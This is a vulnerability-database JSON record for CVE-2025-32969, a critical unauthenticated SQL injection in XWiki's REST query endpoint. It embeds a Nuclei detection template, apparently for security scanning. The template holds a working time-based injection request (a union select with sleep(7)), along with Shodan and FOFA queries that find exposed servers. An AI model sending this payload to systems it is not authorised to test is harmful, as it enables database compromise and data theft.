{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-32969/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-32969/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-32969/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-32969/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-32969/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-32969"},"sightings":{"href":"/api/v1/sightings/cve-2025-32969"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-32969.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-32969\n\ninfo:\n  name: XWiki REST API Query - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A SQL injection vulnerability exists in XWiki's REST API query endpoint. An unauthenticated attacker can execute arbitrary SQL queries through the 'q' parameter by manipulating the HQL query, potentially leading to data exfiltration or system compromise.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL queries through the REST API query endpoint, potentially leading to complete database compromise and data exfiltration.\n  remediation: |\n    Upgrade to the latest XWiki version that properly sanitizes HQL query parameters in the REST API.\n  reference:\n    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-f69v-xrj8-rhxf\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-32969\n  classification:\n    cve-id: CVE-2025-32969\n    epss-score: 0.80009\n    epss-percentile: 0.99616\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    vendor: xwiki\n    product: xwiki\n    shodan-query: html:\"data-xwiki-reference\"\n    fofa-query: body=\"data-xwiki-reference\"\n  tags: cve,cve2025,xwiki,sqli,rest-api,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        GET /rest/wikis/xwiki/query?q=where%20doc.name=length(%27a%27)*org.apache.logging.log4j.util.Chars.SPACE%20or%201%3C%3E%271%5C%27%27%20union%20select%201,2,3,sleep(7)%20%23%27&type=hql&distinct=0 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=7'\n          - 'status_code==200'\n          - 'contains_all(body, \"WikiManager\", \"<?xml\")'\n        condition: and\n# digest: 4b0a00483046022100a3673bada058f0d75ab0d7d849060c6c4b0820037de0da70f197106523c3409c02210090750bf3cafdc21a3ce40f89e2088de041f82a9357c9ba097268c2e42c37ad51:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-32969"}